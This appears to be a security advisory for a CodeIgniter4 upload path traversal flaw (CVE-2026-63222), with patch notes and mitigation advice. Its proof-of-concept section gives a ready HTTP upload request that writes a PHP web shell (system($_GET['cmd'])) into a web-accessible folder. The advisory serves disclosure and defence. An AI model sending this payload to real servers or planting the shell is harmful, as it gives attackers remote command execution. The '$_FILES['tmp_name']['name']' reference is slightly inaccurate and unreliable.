high · 7.5CVE-2026-63222Aug 7, 2026

CVE-2026-63222: CodeIgniter4 Path Traversal in UploadedFile::move()

Shubham Kandhare
Security Engagement Manager, SecureLayer7

CodeIgniter4's file upload helper writes files to attacker-controlled paths when an application calls move() without a filename argument, because the raw client-supplied filename was never sanitized…

Packagecodeigniter4/framework
Ecosystemcomposer
Affected< 4.7.4
Fixed in4.7.4
CVE-2026-63222: CodeIgniter4 Path Traversal in UploadedFile::move()

The problem

In CodeIgniter4 versions before 4.7.4, UploadedFile::move($targetPath) falls back to the client-provided filename when no second argument is passed. That filename is taken directly from the multipart Content-Disposition: filename field and used verbatim to build the destination path.

An attacker can set that filename to a path traversal sequence such as ../../public/shell.php. Depending on the upload directory and server configuration, the file lands outside the intended upload folder, potentially in a web-accessible location. This is a write-primitive that can result in remote code execution.

Proof of concept

A working proof-of-concept for CVE-2026-63222 in codeigniter4/framework, with the exact payload below.

http
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="userfile"; filename="../../public/shell.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
------Boundary--

The vulnerable code path resolved the destination filename by calling $this->getClientName() (which returns the raw $_FILES['tmp_name']['name'] value) and passing it directly to move_uploaded_file(). No path component stripping or sanitize_filename() call existed before the fix.

The patch (commit 20ebcf4) wraps the no-argument default with CodeIgniter's sanitize_filename() helper, which strips ../, ./, and other traversal sequences before constructing the target path. The CWE is CWE-22 (Path Traversal). Note that explicitly passing a client-provided name as the second argument, e.g. $file->move(WRITEPATH.'uploads', $file->getClientName()), is still unsafe after patching and remains the caller's responsibility to sanitize.

The fix

Upgrade to codeigniter4/framework v4.7.4 or later. If you cannot upgrade immediately, use $file->move(WRITEPATH.'uploads', $file->getRandomName()) to generate a safe name, or run the client filename through sanitize_filename($file->getClientName()) before passing it to move().

Never pass $file->getName() or $file->getClientName() as the second argument without sanitization, even on patched versions.

Reporter not attributed.

References: [1][2][3][4][5]

Related research